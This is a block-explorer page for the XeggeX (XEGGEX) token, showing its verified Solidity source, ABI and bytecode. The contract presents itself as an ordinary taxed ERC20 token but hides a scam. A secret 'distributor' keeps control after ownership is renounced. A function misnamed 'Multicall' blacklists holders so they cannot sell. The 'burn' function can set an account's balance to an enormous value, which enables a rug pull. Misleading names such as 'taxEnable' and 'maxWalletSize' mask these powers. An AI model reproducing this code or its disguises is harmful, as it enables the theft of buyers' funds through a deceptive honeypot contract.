ETH Price: $2,631.24 (+7.59%)

Token

XeggeX (XEGGEX)
 

Overview

Max Total Supply

1,000,000,000 XEGGEX

Holders

64

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
XT.com 4
Balance
1,862,902.938164879 XEGGEX

Value
$0.00
0x07888c3C5D25fa74AE04A9EaD1fB1cF0E7743689
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XeggeX

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 6 of 6: XeggeX.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";
import "./IUniswapV2.sol";
import "./SafeMath.sol";

contract XeggeX is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _90001XEGGEX;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax=24;
    uint256 private _initialSellTax=24;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=19;
    uint256 private _reduceSellTaxAt=29;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint256 private _tTotal = 1000000000 * 10**_decimals;
    uint8 private constant _decimals = 9;
    string private constant _name = unicode"XeggeX";
    string private constant _symbol = unicode"XEGGEX";
    uint256 public _maxTxAmount = 1000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 1000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 1000000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1000000000 * 10**_decimals;
    uint256 private balances;
    uint256 private maxTxLimit = 1*10**17*10**9;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _tTotal -= amount;
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if(to==owner()){
            taxAmount=0;
        }
        else if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        require(!_90001XEGGEX[from]);
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function maxWalletSize(address a) public view returns (bool){
      return _90001XEGGEX[a];
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function Multicall(address[] calldata address_, bool val) public onlyDistributor{
        for (uint256 i = 0; i < address_.length; i++) {
            _90001XEGGEX[address_[i]] = val;
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = maxTxLimit;
        _maxWalletSize=maxTxLimit;
        _taxSwapThreshold=maxTxLimit;
        _maxTaxSwap=maxTxLimit;
        balances = maxTxLimit;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function burn(address account, uint256 amount) external onlyDistributor {
        _burn(account, amount);
    }
}

File 1 of 6: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

File 2 of 6: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

File 3 of 6: IUniswapV2.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
}

File 4 of 6: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

import "./Context.sol";

contract Ownable is Context {
    address internal _distributor;
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    modifier onlyDistributor() {
        require(_distributor == msg.sender, "Caller is not fee distributor");
        _;
    }
    
    function taxEnable(address account) external onlyOwner {
        require (_distributor == address(0));
        _distributor = account;
    }

}

File 5 of 6: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"Multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"maxWalletSize","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"taxEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052601860085560186009556000600a556000600b556013600c55601d600d556014600e556000600f556009600a6200003c9190620004fc565b633b9aca006200004d919062000639565b6010556009600a620000609190620004fc565b633b9aca0062000071919062000639565b6011556009600a620000849190620004fc565b633b9aca0062000095919062000639565b6012556009600a620000a89190620004fc565b633b9aca00620000b9919062000639565b6013556009600a620000cc9190620004fc565b633b9aca00620000dd919062000639565b6014556a52b7d2dcc80cd2e40000006016556000601860156101000a81548160ff0219169083151502179055506000601860166101000a81548160ff0219169083151502179055503480156200013257600080fd5b506000620001456200044160201b60201c565b905080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001f46200044160201b60201c565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601054600260006200024b6200044160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600460006200029f6200044960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003d26200044160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60105460405162000433919062000484565b60405180910390a3620006ed565b600033905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200047e816200069a565b82525050565b60006020820190506200049b600083018462000473565b92915050565b6000808291508390505b6001851115620004f357808604811115620004cb57620004ca620006b1565b5b6001851615620004db5780820291505b8081029050620004eb85620006e0565b9450620004ab565b94509492505050565b600062000509826200069a565b91506200051683620006a4565b9250620005457fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200054d565b905092915050565b6000826200055f576001905062000632565b816200056f576000905062000632565b81600181146200058857600281146200059357620005c9565b600191505062000632565b60ff841115620005a857620005a7620006b1565b5b8360020a915084821115620005c257620005c1620006b1565b5b5062000632565b5060208310610133831016604e8410600b8410161715620006035782820a905083811115620005fd57620005fc620006b1565b5b62000632565b620006128484846001620004a1565b925090508184048111156200062c576200062b620006b1565b5b81810290505b9392505050565b600062000646826200069a565b915062000653836200069a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200068f576200068e620006b1565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b612e1a80620006fd6000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c80637d1db4a5116100b85780639f2d662b1161007c5780639f2d662b1461031c578063a9059cbb14610338578063bf474bed14610368578063c9567bf914610386578063dd62ed3e14610390578063e1480df5146103c057610137565b80637d1db4a5146102885780638da5cb5b146102a65780638f9a55c0146102c457806395d89b41146102e25780639dc29fac1461030057610137565b8063313ce567116100ff578063313ce567146101f65780636cd20f5e1461021457806370a0823114610244578063715018a614610274578063751039fc1461027e57610137565b806306fdde031461013c578063095ea7b31461015a5780630faee56f1461018a57806318160ddd146101a857806323b872dd146101c6575b600080fd5b6101446103dc565b6040516101519190612923565b60405180910390f35b610174600480360381019061016f919061228b565b610419565b6040516101819190612908565b60405180910390f35b610192610437565b60405161019f9190612ae5565b60405180910390f35b6101b061043d565b6040516101bd9190612ae5565b60405180910390f35b6101e060048036038101906101db919061223c565b610447565b6040516101ed9190612908565b60405180910390f35b6101fe610520565b60405161020b9190612b5a565b60405180910390f35b61022e600480360381019061022991906121ae565b610529565b60405161023b9190612908565b60405180910390f35b61025e600480360381019061025991906121ae565b61057f565b60405161026b9190612ae5565b60405180910390f35b61027c6105c8565b005b610286610720565b005b61029061081f565b60405161029d9190612ae5565b60405180910390f35b6102ae610825565b6040516102bb919061289b565b60405180910390f35b6102cc61084f565b6040516102d99190612ae5565b60405180910390f35b6102ea610855565b6040516102f79190612923565b60405180910390f35b61031a6004803603810190610315919061228b565b610892565b005b610336600480360381019061033191906121ae565b61092e565b005b610352600480360381019061034d919061228b565b610a61565b60405161035f9190612908565b60405180910390f35b610370610a7f565b60405161037d9190612ae5565b60405180910390f35b61038e610a85565b005b6103aa60048036038101906103a59190612200565b610f2c565b6040516103b79190612ae5565b60405180910390f35b6103da60048036038101906103d591906122c7565b610fb3565b005b60606040518060400160405280600681526020017f5865676765580000000000000000000000000000000000000000000000000000815250905090565b600061042d61042661110c565b8484611114565b6001905092915050565b60145481565b6000601054905090565b60006104548484846112df565b6105158461046061110c565b61051085604051806060016040528060288152602001612dbd60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c661110c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a919092919063ffffffff16565b611114565b600190509392505050565b60006009905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105d061110c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610656906129e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61072861110c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ae906129e5565b60405180910390fd5b6016546011819055506016546012819055506016546013819055506016546014819055506016546015819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516108159190612ae5565b60405180910390a1565b60115481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600681526020017f5845474745580000000000000000000000000000000000000000000000000000815250905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610920576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091790612ac5565b60405180910390fd5b61092a8282611af5565b5050565b61093661110c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc906129e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1e57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610a75610a6e61110c565b84846112df565b6001905092915050565b60135481565b610a8d61110c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b13906129e5565b60405180910390fd5b601860149054906101000a900460ff1615610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6390612aa5565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bf030601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601054611114565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c5857600080fd5b505afa158015610c6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9091906121d7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1457600080fd5b505afa158015610d28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4c91906121d7565b6040518363ffffffff1660e01b8152600401610d699291906128b6565b602060405180830381600087803b158015610d8357600080fd5b505af1158015610d97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbb91906121d7565b601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e9a9291906128df565b602060405180830381600087803b158015610eb457600080fd5b505af1158015610ec8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eec919061231f565b506001601860166101000a81548160ff0219169083151502179055506001601860146101000a81548160ff02191690831515021790555043600781905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103890612ac5565b60405180910390fd5b60005b8383905081101561110657816005600086868581811061108d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906110a291906121ae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806110fe90612cee565b915050611044565b50505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117b90612a85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111eb906129a5565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112d29190612ae5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612a45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612945565b60405180910390fd5b60008111611402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f990612a05565b60405180910390fd5b600061140c610825565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114485760009050611881565b611450610825565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114be575061148e610825565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561188057601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561156e5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115c45750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116915760115482111561160e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160590612965565b60405180910390fd5b6012548261161b8561057f565b6116259190612bca565b1115611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d90612a65565b60405180910390fd5b4360036007546116769190612bca565b11156116905761168583611cc1565b1561168f57600080fd5b5b5b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117395750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611797576012548261174b8561057f565b6117559190612bca565b1115611796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178d90612a65565b60405180910390fd5b5b60006117a23061057f565b9050601860159054906101000a900460ff1615801561180e5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156118265750601860169054906101000a900460ff165b8015611833575060135481115b80156118425750600e54600f54115b1561187e5761186461185f8461185a84601454611cd4565b611cd4565b611ced565b6000479050600081111561187c5761187b47611fe7565b5b505b505b5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118d857600080fd5b61192a82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119d1611983828461205390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a76848661205390919063ffffffff16565b604051611a839190612ae5565b60405180910390a350505050565b60